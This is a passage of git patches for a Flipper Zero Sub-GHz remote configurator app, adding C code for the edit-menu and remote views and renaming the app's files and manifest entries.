AlignBottom, + furi_string_empty(model->label) ? "Empty label" : furi_string_get_cstr(model->label), + true); + + // Draw arrow + canvas_set_color(canvas, ColorBlack); + if(model->chusen != 0) { + canvas_draw_icon(canvas, 119, 13, &I_Pin_arrow_up_7x9); + } + if(model->chusen != 4) { + canvas_draw_icon_ex(canvas, 119, 42, &I_Pin_arrow_up_7x9, IconRotation180); + } + + // Draw file_path + if(model->sub_state == SubRemLoadSubStateOK) { + canvas_set_font(canvas, FontSecondary); + elements_text_box( + canvas, + 1, + FRAME_HEIGHT + 1, + 118, + (63 - FRAME_HEIGHT * 2), + AlignLeft, + AlignTop, + furi_string_get_cstr(model->file_path), + false); + } else if(furi_string_empty(model->file_path)) { + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 1, FRAME_HEIGHT * 2 - 2, "Button not set"); + } else { + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 1, FRAME_HEIGHT * 2 - 2, "ERR:"); + canvas_set_font(canvas, FontSecondary); + switch(model->sub_state) { + case SubRemLoadSubStateErrorNoFile: + canvas_draw_str(canvas, 26, FRAME_HEIGHT * 2 - 2, "File not found"); + break; + case SubRemLoadSubStateErrorFreq: + canvas_draw_str(canvas, 26, FRAME_HEIGHT * 2 - 2, "Bad frequency"); + break; + case SubRemLoadSubStateErrorMod: + canvas_draw_str(canvas, 26, FRAME_HEIGHT * 2 - 2, "Bad modulation"); + break; + case SubRemLoadSubStateErrorProtocol: + canvas_draw_str(canvas, 26, FRAME_HEIGHT * 2 - 2, "Unsupported protocol"); + break; + + default: + break; + } + elements_text_box( + canvas, + 1, + FRAME_HEIGHT * 2, + 118, + 30, + AlignLeft, + AlignTop, + furi_string_get_cstr(model->file_path), + false); + } +} + +bool subrem_view_edit_menu_input(InputEvent* event, void* context) { + furi_assert(context); + SubRemViewEditMenu* subrem_view_edit_menu = context; + + if((event->key == InputKeyBack || event->key == InputKeyLeft) && + event->type == InputTypeShort) { + subrem_view_edit_menu->callback( + SubRemCustomEventViewEditMenuBack, subrem_view_edit_menu->context); + return true; + } else if(event->key == InputKeyUp && event->type == InputTypeShort) { + with_view_model( + subrem_view_edit_menu->view, + SubRemViewEditMenuModel * model, + { + if(model->chusen > 0) { + model->chusen -= 1; + }; + }, + true); + subrem_view_edit_menu->callback( + SubRemCustomEventViewEditMenuUP, subrem_view_edit_menu->context); + return true; + } else if(event->key == InputKeyDown && event->type == InputTypeShort) { + with_view_model( + subrem_view_edit_menu->view, + SubRemViewEditMenuModel * model, + { + if(model->chusen < 4) { + model->chusen += 1; + }; + }, + true); + subrem_view_edit_menu->callback( + SubRemCustomEventViewEditMenuDOWN, subrem_view_edit_menu->context); + return true; + } else if(event->key == InputKeyOk && event->type == InputTypeShort) { + subrem_view_edit_menu->callback( + SubRemCustomEventViewEditMenuEdit, subrem_view_edit_menu->context); + return true; + } else if(event->key == InputKeyRight && event->type == InputTypeShort) { + subrem_view_edit_menu->callback( + SubRemCustomEventViewEditMenuSave, subrem_view_edit_menu->context); + return true; + } + + return true; +} + +void subrem_view_edit_menu_enter(void* context) { + furi_assert(context); +} + +void subrem_view_edit_menu_exit(void* context) { + furi_assert(context); +} + +SubRemViewEditMenu* subrem_view_edit_menu_alloc() { + SubRemViewEditMenu* subrem_view_edit_menu = malloc(sizeof(SubRemViewEditMenu)); + + // View allocation and configuration + subrem_view_edit_menu->view = view_alloc(); + view_allocate_model( + subrem_view_edit_menu->view, ViewModelTypeLocking, sizeof(SubRemViewEditMenuModel)); + view_set_context(subrem_view_edit_menu->view, subrem_view_edit_menu); + view_set_draw_callback( + subrem_view_edit_menu->view, (ViewDrawCallback)subrem_view_edit_menu_draw); + view_set_input_callback(subrem_view_edit_menu->view, subrem_view_edit_menu_input); + view_set_enter_callback(subrem_view_edit_menu->view, subrem_view_edit_menu_enter); + view_set_exit_callback(subrem_view_edit_menu->view, subrem_view_edit_menu_exit); + + with_view_model( + subrem_view_edit_menu->view, + SubRemViewEditMenuModel * model, + { + model->label = furi_string_alloc(); // furi_string_alloc_set_str("LABEL"); + model->file_path = furi_string_alloc(); // furi_string_alloc_set_str("FILE_PATH"); + + model->chusen = 0; + }, + true); + return subrem_view_edit_menu; +} + +void subrem_view_edit_menu_free(SubRemViewEditMenu* subghz_edit_menu) { + furi_assert(subghz_edit_menu); + + with_view_model( + subghz_edit_menu->view, + SubRemViewEditMenuModel * model, + { + furi_string_free(model->label); + furi_string_free(model->file_path); + }, + true); + view_free(subghz_edit_menu->view); + free(subghz_edit_menu); +} + +View* subrem_view_edit_menu_get_view(SubRemViewEditMenu* subrem_view_edit_menu) { + furi_assert(subrem_view_edit_menu); + return subrem_view_edit_menu->view; +} \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/edit_menu.h b/applications/external/subghz_remote_new/views/edit_menu.h new file mode 100644 index 000000000..7ceb7fac0 --- /dev/null +++ b/applications/external/subghz_remote_new/views/edit_menu.h @@ -0,0 +1,29 @@ +#pragma once + +#include +#include "../helpers/subrem_custom_event.h" +#include "../helpers/subrem_presets.h" + +typedef struct SubRemViewEditMenu SubRemViewEditMenu; + +typedef void (*SubRemViewEditMenuCallback)(SubRemCustomEvent event, void* context); + +void subrem_view_edit_menu_set_callback( + SubRemViewEditMenu* subrem_view_edit_menu, + SubRemViewEditMenuCallback callback, + void* context); + +SubRemViewEditMenu* subrem_view_edit_menu_alloc(); + +void subrem_view_edit_menu_free(SubRemViewEditMenu* subrem_view_edit_menu); + +View* subrem_view_edit_menu_get_view(SubRemViewEditMenu* subrem_view_edit_menu); + +void subrem_view_edit_menu_add_data_to_show( + SubRemViewEditMenu* subrem_view_edit_remote, + uint8_t index, + FuriString* label, + FuriString* path, + SubRemLoadSubState state); + +uint8_t subrem_view_edit_menu_get_index(SubRemViewEditMenu* subrem_view_edit_remote); \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/remote.c b/applications/external/subghz_remote_new/views/remote.c index 1f867cd0b..c2b41cfd6 100644 --- a/applications/external/subghz_remote_new/views/remote.c +++ b/applications/external/subghz_remote_new/views/remote.c @@ -4,7 +4,11 @@ #include #include -#define SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH 12 +#include + +#define SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH 30 +#define SUBREM_VIEW_REMOTE_LEFT_OFFSET 10 +#define SUBREM_VIEW_REMOTE_RIGHT_OFFSET 22 struct SubRemViewRemote { View* view; @@ -12,19 +16,8 @@ struct SubRemViewRemote { void* context; }; -// TODO: model typedef struct { - // FuriString* up_label; - // FuriString* down_label; - // FuriString* left_label; - // FuriString* right_label; - // FuriString* ok_label; - - char* up_label; - char* down_label; - char* left_label; - char* right_label; - char* ok_label; + char* labels[SubRemSubKeyNameMaxCount]; SubRemViewRemoteState state; @@ -41,49 +34,76 @@ void subrem_view_remote_set_callback( subrem_view_remote->context = context; } -void subrem_view_remote_add_data_to_show( +void subrem_view_remote_update_data_labels( SubRemViewRemote* subrem_view_remote, - const char* up_label, - const char* down_label, - const char* left_label, - const char* right_label, - const char* ok_label) { + SubRemSubFilePreset** subs_presets) { furi_assert(subrem_view_remote); + furi_assert(subs_presets); + + FuriString* labels[SubRemSubKeyNameMaxCount]; + SubRemSubFilePreset* sub_preset; + + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + sub_preset = subs_presets[i]; + switch(sub_preset->load_state) { + case SubRemLoadSubStateOK: + if(!furi_string_empty(sub_preset->label)) { + labels[i] = furi_string_alloc_set(sub_preset->label); + } else if(!furi_string_empty(sub_preset->file_path)) { + labels[i] = furi_string_alloc(); + path_extract_filename(sub_preset->file_path, labels[i], true); + } else { + labels[i] = furi_string_alloc_set("Empty Label"); + } + break; + + case SubRemLoadSubStateErrorNoFile: + labels[i] = furi_string_alloc_set("[X] Can't open file"); + break; + + case SubRemLoadSubStateErrorFreq: + case SubRemLoadSubStateErrorMod: + case SubRemLoadSubStateErrorProtocol: + labels[i] = furi_string_alloc_set("[X] Error in .sub file"); + break; + + default: + labels[i] = furi_string_alloc_set(""); + break; + } + } with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, { - strncpy(model->up_label, up_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->down_label, down_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->left_label, left_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->right_label, right_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->ok_label, ok_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - - // furi_string_set(model->up_label, up_label); - // furi_string_set(model->down_label, down_label); - // furi_string_set(model->left_label, left_label); - // furi_string_set(model->right_label, right_label); - // furi_string_set(model->ok_label, ok_label); + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + strncpy( + model->labels[i], + furi_string_get_cstr(labels[i]), + SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + } }, true); -} -void subrem_view_remote_set_presed_btn(SubRemViewRemote* subrem_view_remote, uint8_t presed_btn) { - furi_assert(subrem_view_remote); - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { model->pressed_btn = presed_btn; }, - true); + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + furi_string_free(labels[i]); + } } void subrem_view_remote_set_state( SubRemViewRemote* subrem_view_remote, - SubRemViewRemoteState state) { + SubRemViewRemoteState state, + uint8_t presed_btn) { furi_assert(subrem_view_remote); with_view_model( - subrem_view_remote->view, SubRemViewRemoteModel * model, { model->state = state; }, true); + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { + model->state = state; + model->pressed_btn = presed_btn; + }, + true); } void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { @@ -103,24 +123,32 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { //Labels canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 10, 10, model->up_label); - canvas_draw_str(canvas, 10, 20, model->down_label); - canvas_draw_str(canvas, 10, 30, model->left_label); - canvas_draw_str(canvas, 10, 40, model->right_label); - canvas_draw_str(canvas, 10, 50, model->ok_label); + uint8_t y = 0; + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + elements_text_box( + canvas, + SUBREM_VIEW_REMOTE_LEFT_OFFSET, + y + 2, + 126 - SUBREM_VIEW_REMOTE_LEFT_OFFSET - SUBREM_VIEW_REMOTE_RIGHT_OFFSET, + 12, + AlignLeft, + AlignBottom, + model->labels[i], + false); + y += 10; + } - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - - canvas_draw_str_aligned(canvas, 11, 62, AlignLeft, AlignBottom, "Hold=Exit."); + if(model->state == SubRemViewRemoteStateOFF) { + elements_button_left(canvas, "Back"); + elements_button_right(canvas, "Save"); + } else { + canvas_draw_str_aligned(canvas, 11, 62, AlignLeft, AlignBottom, "Hold=Exit."); + } //Status text and indicator canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); - if(model->state == SubRemViewRemoteStateIdle) { + if(model->state == SubRemViewRemoteStateIdle || model->state == SubRemViewRemoteStateOFF) { canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, "Idle"); } else { switch(model->state) { @@ -155,10 +183,6 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { break; } } - //Repeat indicator - //canvas_draw_str_aligned(canvas, 125, 40, AlignRight, AlignBottom, "Repeat:"); - //canvas_draw_icon(canvas, 115, 39, &I_SubGHzRemote_Repeat_12x14); - //canvas_draw_str_aligned(canvas, 125, 62, AlignRight, AlignBottom, int_to_char(app->repeat)); } bool subrem_view_remote_input(InputEvent* event, void* context) { @@ -166,17 +190,6 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { SubRemViewRemote* subrem_view_remote = context; if(event->key == InputKeyBack && event->type == InputTypeLong) { - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { - strcpy(model->up_label, "N/A"); - strcpy(model->down_label, "N/A"); - strcpy(model->left_label, "N/A"); - strcpy(model->right_label, "N/A"); - strcpy(model->ok_label, "N/A"); - }, - false); subrem_view_remote->callback(SubRemCustomEventViewRemoteBack, subrem_view_remote->context); return true; } else if(event->key == InputKeyBack && event->type == InputTypeShort) { @@ -248,23 +261,10 @@ SubRemViewRemote* subrem_view_remote_alloc() { { model->state = SubRemViewRemoteStateIdle; - model->up_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - model->down_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - model->left_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - model->right_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - model->ok_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); - - strcpy(model->up_label, "N/A"); - strcpy(model->down_label, "N/A"); - strcpy(model->left_label, "N/A"); - strcpy(model->right_label, "N/A"); - strcpy(model->ok_label, "N/A"); - - // model->up_label = furi_string_alloc_set_str("N/A"); - // model->down_label = furi_string_alloc_set_str("N/A"); - // model->left_label = furi_string_alloc_set_str("N/A"); - // model->right_label = furi_string_alloc_set_str("N/A"); - // model->ok_label = furi_string_alloc_set_str("N/A"); + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + model->labels[i] = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); + strcpy(model->labels[i], ""); + } model->pressed_btn = 0; }, @@ -279,17 +279,9 @@ void subrem_view_remote_free(SubRemViewRemote* subghz_remote) { subghz_remote->view, SubRemViewRemoteModel * model, { - free(model->up_label); - free(model->down_label); - free(model->left_label); - free(model->right_label); - free(model->ok_label); - - // furi_string_free(model->up_label); - // furi_string_free(model->down_label); - // furi_string_free(model->left_label); - // furi_string_free(model->right_label); - // furi_string_free(model->ok_label); + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + free(model->labels[i]); + } }, true); view_free(subghz_remote->view); diff --git a/applications/external/subghz_remote_new/views/remote.h b/applications/external/subghz_remote_new/views/remote.h index 76121cf8a..5b1e8153a 100644 --- a/applications/external/subghz_remote_new/views/remote.h +++ b/applications/external/subghz_remote_new/views/remote.h @@ -2,11 +2,13 @@ #include #include "../helpers/subrem_custom_event.h" +#include "../helpers/subrem_presets.h" typedef enum { SubRemViewRemoteStateIdle, SubRemViewRemoteStateLoading, SubRemViewRemoteStateSending, + SubRemViewRemoteStateOFF, } SubRemViewRemoteState; typedef struct SubRemViewRemote SubRemViewRemote; @@ -24,15 +26,11 @@ void subrem_view_remote_free(SubRemViewRemote* subrem_view_remote); View* subrem_view_remote_get_view(SubRemViewRemote* subrem_view_remote); -void subrem_view_remote_add_data_to_show( +void subrem_view_remote_update_data_labels( SubRemViewRemote* subrem_view_remote, - const char* up_label, - const char* down_label, - const char* left_label, - const char* right_label, - const char* ok_label); + SubRemSubFilePreset** subs_presets); -void subrem_view_remote_set_presed_btn(SubRemViewRemote* subrem_view_remote, uint8_t presed_btn); void subrem_view_remote_set_state( SubRemViewRemote* subrem_view_remote, - SubRemViewRemoteState state); \ No newline at end of file + SubRemViewRemoteState state, + uint8_t presed_btn); \ No newline at end of file From 3e09793b54439065d77a01a5bd74cad1138bc605 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Fri, 26 May 2023 18:14:15 +0300 Subject: [PATCH 057/100] Rename --- .../external/subghz_remote_new/application.fam | 10 +++++----- .../external/subghz_remote_new/subghz_remote_app_i.h | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/applications/external/subghz_remote_new/application.fam b/applications/external/subghz_remote_new/application.fam index a232fb30f..7590e46a5 100644 --- a/applications/external/subghz_remote_new/application.fam +++ b/applications/external/subghz_remote_new/application.fam @@ -1,16 +1,16 @@ App( - appid="subrem_remote_fap", - name="Sub-GHz Remote", + appid="subrem_configurator", + name="SubRem Configurator", apptype=FlipperAppType.EXTERNAL, entry_point="subghz_remote_app", requires=[ "gui", "dialogs", ], - stack_size=3 * 1024, + stack_size=2 * 1024, order=50, - fap_description="Remote control for transmission multiple *.sub files", - fap_category="Debug", #"Sub-Ghz" + fap_description="File Editor for the SubGhz Remote app", + fap_category="Sub-Ghz", fap_icon_assets="icons", fap_icon="icons/subrem_10px.png", ) \ No newline at end of file diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index 7a07d768a..ce5f31009 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -5,7 +5,7 @@ #include "scenes/subrem_scene.h" #include "helpers/txrx/subghz_txrx.h" -#include +#include #include "views/remote.h" #include "views/edit_menu.h" From 9c520c518837ef96c57e3a14e63de553672de658 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 19:06:26 +0300 Subject: [PATCH 058/100] Rename + don't touch power and module type on start --- .../application.fam | 4 ++-- .../helpers/subrem_custom_event.h | 0 .../helpers/subrem_presets.c | 0 .../helpers/subrem_presets.h | 0 .../helpers/subrem_types.h | 0 .../helpers/txrx/Readme.md | 0 .../helpers/txrx/subghz_txrx.c | 0 .../helpers/txrx/subghz_txrx.h | 0 .../helpers/txrx/subghz_txrx_i.h | 0 .../icons/DolphinNice_96x59.png | Bin .../icons/remote_scene/ButtonDown_7x4.png | Bin .../icons/remote_scene/ButtonLeft_4x7.png | Bin .../icons/remote_scene/ButtonRight_4x7.png | Bin .../icons/remote_scene/ButtonUp_7x4.png | Bin .../icons/remote_scene/Ok_btn_9x9.png | Bin .../icons/remote_scene/Pin_arrow_up_7x9.png | Bin .../icons/remote_scene/Pin_cell_13x13.png | Bin .../icons/remote_scene/Pin_star_7x7.png | Bin .../icons/remote_scene/back_10px.png | Bin .../icons/sub1_10px.png | Bin .../icons/subrem_10px.png | Bin .../scenes/subrem_scene.c | 0 .../scenes/subrem_scene.h | 0 .../scenes/subrem_scene_config.h | 0 .../scenes/subrem_scene_edit_label.c | 0 .../scenes/subrem_scene_edit_menu.c | 0 .../scenes/subrem_scene_edit_preview.c | 0 .../scenes/subrem_scene_edit_submenu.c | 0 .../scenes/subrem_scene_enter_new_name.c | 0 .../scenes/subrem_scene_open_map_file.c | 0 .../scenes/subrem_scene_open_sub_file.c | 0 .../scenes/subrem_scene_start.c | 0 .../subghz_remote_app.c | 10 +++++----- .../subghz_remote_app_i.c | 0 .../subghz_remote_app_i.h | 0 .../views/edit_menu.c | 0 .../views/edit_menu.h | 0 .../views/remote.c | 0 .../views/remote.h | 0 39 files changed, 7 insertions(+), 7 deletions(-) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/application.fam (79%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/helpers/subrem_custom_event.h (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/helpers/subrem_presets.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/helpers/subrem_presets.h (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/helpers/subrem_types.h (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/helpers/txrx/Readme.md (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/helpers/txrx/subghz_txrx.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/helpers/txrx/subghz_txrx.h (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/helpers/txrx/subghz_txrx_i.h (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/DolphinNice_96x59.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/remote_scene/ButtonDown_7x4.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/remote_scene/ButtonLeft_4x7.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/remote_scene/ButtonRight_4x7.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/remote_scene/ButtonUp_7x4.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/remote_scene/Ok_btn_9x9.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/remote_scene/Pin_arrow_up_7x9.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/remote_scene/Pin_cell_13x13.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/remote_scene/Pin_star_7x7.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/remote_scene/back_10px.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/sub1_10px.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/icons/subrem_10px.png (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene.h (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene_config.h (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene_edit_label.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene_edit_menu.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene_edit_preview.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene_edit_submenu.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene_enter_new_name.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene_open_map_file.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene_open_sub_file.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/scenes/subrem_scene_start.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/subghz_remote_app.c (98%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/subghz_remote_app_i.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/subghz_remote_app_i.h (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/views/edit_menu.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/views/edit_menu.h (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/views/remote.c (100%) rename applications/external/{subghz_remote_new => subghz_remote_configurator}/views/remote.h (100%) diff --git a/applications/external/subghz_remote_new/application.fam b/applications/external/subghz_remote_configurator/application.fam similarity index 79% rename from applications/external/subghz_remote_new/application.fam rename to applications/external/subghz_remote_configurator/application.fam index 7590e46a5..9b164a093 100644 --- a/applications/external/subghz_remote_new/application.fam +++ b/applications/external/subghz_remote_configurator/application.fam @@ -1,8 +1,8 @@ App( appid="subrem_configurator", - name="SubRem Configurator", + name="SubGHz Remote Configurator", apptype=FlipperAppType.EXTERNAL, - entry_point="subghz_remote_app", + entry_point="subghz_remote_config_app", requires=[ "gui", "dialogs", diff --git a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h b/applications/external/subghz_remote_configurator/helpers/subrem_custom_event.h similarity index 100% rename from applications/external/subghz_remote_new/helpers/subrem_custom_event.h rename to applications/external/subghz_remote_configurator/helpers/subrem_custom_event.h diff --git a/applications/external/subghz_remote_new/helpers/subrem_presets.c b/applications/external/subghz_remote_configurator/helpers/subrem_presets.c similarity index 100% rename from applications/external/subghz_remote_new/helpers/subrem_presets.c rename to applications/external/subghz_remote_configurator/helpers/subrem_presets.c diff --git a/applications/external/subghz_remote_new/helpers/subrem_presets.h b/applications/external/subghz_remote_configurator/helpers/subrem_presets.h similarity index 100% rename from applications/external/subghz_remote_new/helpers/subrem_presets.h rename to applications/external/subghz_remote_configurator/helpers/subrem_presets.h diff --git a/applications/external/subghz_remote_new/helpers/subrem_types.h b/applications/external/subghz_remote_configurator/helpers/subrem_types.h similarity index 100% rename from applications/external/subghz_remote_new/helpers/subrem_types.h rename to applications/external/subghz_remote_configurator/helpers/subrem_types.h diff --git a/applications/external/subghz_remote_new/helpers/txrx/Readme.md b/applications/external/subghz_remote_configurator/helpers/txrx/Readme.md similarity index 100% rename from applications/external/subghz_remote_new/helpers/txrx/Readme.md rename to applications/external/subghz_remote_configurator/helpers/txrx/Readme.md diff --git a/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.c b/applications/external/subghz_remote_configurator/helpers/txrx/subghz_txrx.c similarity index 100% rename from applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.c rename to applications/external/subghz_remote_configurator/helpers/txrx/subghz_txrx.c diff --git a/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.h b/applications/external/subghz_remote_configurator/helpers/txrx/subghz_txrx.h similarity index 100% rename from applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.h rename to applications/external/subghz_remote_configurator/helpers/txrx/subghz_txrx.h diff --git a/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx_i.h b/applications/external/subghz_remote_configurator/helpers/txrx/subghz_txrx_i.h similarity index 100% rename from applications/external/subghz_remote_new/helpers/txrx/subghz_txrx_i.h rename to applications/external/subghz_remote_configurator/helpers/txrx/subghz_txrx_i.h diff --git a/applications/external/subghz_remote_new/icons/DolphinNice_96x59.png b/applications/external/subghz_remote_configurator/icons/DolphinNice_96x59.png similarity index 100% rename from applications/external/subghz_remote_new/icons/DolphinNice_96x59.png rename to applications/external/subghz_remote_configurator/icons/DolphinNice_96x59.png diff --git a/applications/external/subghz_remote_new/icons/remote_scene/ButtonDown_7x4.png b/applications/external/subghz_remote_configurator/icons/remote_scene/ButtonDown_7x4.png similarity index 100% rename from applications/external/subghz_remote_new/icons/remote_scene/ButtonDown_7x4.png rename to applications/external/subghz_remote_configurator/icons/remote_scene/ButtonDown_7x4.png diff --git a/applications/external/subghz_remote_new/icons/remote_scene/ButtonLeft_4x7.png b/applications/external/subghz_remote_configurator/icons/remote_scene/ButtonLeft_4x7.png similarity index 100% rename from applications/external/subghz_remote_new/icons/remote_scene/ButtonLeft_4x7.png rename to applications/external/subghz_remote_configurator/icons/remote_scene/ButtonLeft_4x7.png diff --git a/applications/external/subghz_remote_new/icons/remote_scene/ButtonRight_4x7.png b/applications/external/subghz_remote_configurator/icons/remote_scene/ButtonRight_4x7.png similarity index 100% rename from applications/external/subghz_remote_new/icons/remote_scene/ButtonRight_4x7.png rename to applications/external/subghz_remote_configurator/icons/remote_scene/ButtonRight_4x7.png diff --git a/applications/external/subghz_remote_new/icons/remote_scene/ButtonUp_7x4.png b/applications/external/subghz_remote_configurator/icons/remote_scene/ButtonUp_7x4.png similarity index 100% rename from applications/external/subghz_remote_new/icons/remote_scene/ButtonUp_7x4.png rename to applications/external/subghz_remote_configurator/icons/remote_scene/ButtonUp_7x4.png diff --git a/applications/external/subghz_remote_new/icons/remote_scene/Ok_btn_9x9.png b/applications/external/subghz_remote_configurator/icons/remote_scene/Ok_btn_9x9.png similarity index 100% rename from applications/external/subghz_remote_new/icons/remote_scene/Ok_btn_9x9.png rename to applications/external/subghz_remote_configurator/icons/remote_scene/Ok_btn_9x9.png diff --git a/applications/external/subghz_remote_new/icons/remote_scene/Pin_arrow_up_7x9.png b/applications/external/subghz_remote_configurator/icons/remote_scene/Pin_arrow_up_7x9.png similarity index 100% rename from applications/external/subghz_remote_new/icons/remote_scene/Pin_arrow_up_7x9.png rename to applications/external/subghz_remote_configurator/icons/remote_scene/Pin_arrow_up_7x9.png diff --git a/applications/external/subghz_remote_new/icons/remote_scene/Pin_cell_13x13.png b/applications/external/subghz_remote_configurator/icons/remote_scene/Pin_cell_13x13.png similarity index 100% rename from applications/external/subghz_remote_new/icons/remote_scene/Pin_cell_13x13.png rename to applications/external/subghz_remote_configurator/icons/remote_scene/Pin_cell_13x13.png diff --git a/applications/external/subghz_remote_new/icons/remote_scene/Pin_star_7x7.png b/applications/external/subghz_remote_configurator/icons/remote_scene/Pin_star_7x7.png similarity index 100% rename from applications/external/subghz_remote_new/icons/remote_scene/Pin_star_7x7.png rename to applications/external/subghz_remote_configurator/icons/remote_scene/Pin_star_7x7.png diff --git a/applications/external/subghz_remote_new/icons/remote_scene/back_10px.png b/applications/external/subghz_remote_configurator/icons/remote_scene/back_10px.png similarity index 100% rename from applications/external/subghz_remote_new/icons/remote_scene/back_10px.png rename to applications/external/subghz_remote_configurator/icons/remote_scene/back_10px.png diff --git a/applications/external/subghz_remote_new/icons/sub1_10px.png b/applications/external/subghz_remote_configurator/icons/sub1_10px.png similarity index 100% rename from applications/external/subghz_remote_new/icons/sub1_10px.png rename to applications/external/subghz_remote_configurator/icons/sub1_10px.png diff --git a/applications/external/subghz_remote_new/icons/subrem_10px.png b/applications/external/subghz_remote_configurator/icons/subrem_10px.png similarity index 100% rename from applications/external/subghz_remote_new/icons/subrem_10px.png rename to applications/external/subghz_remote_configurator/icons/subrem_10px.png diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene.c similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene.c rename to 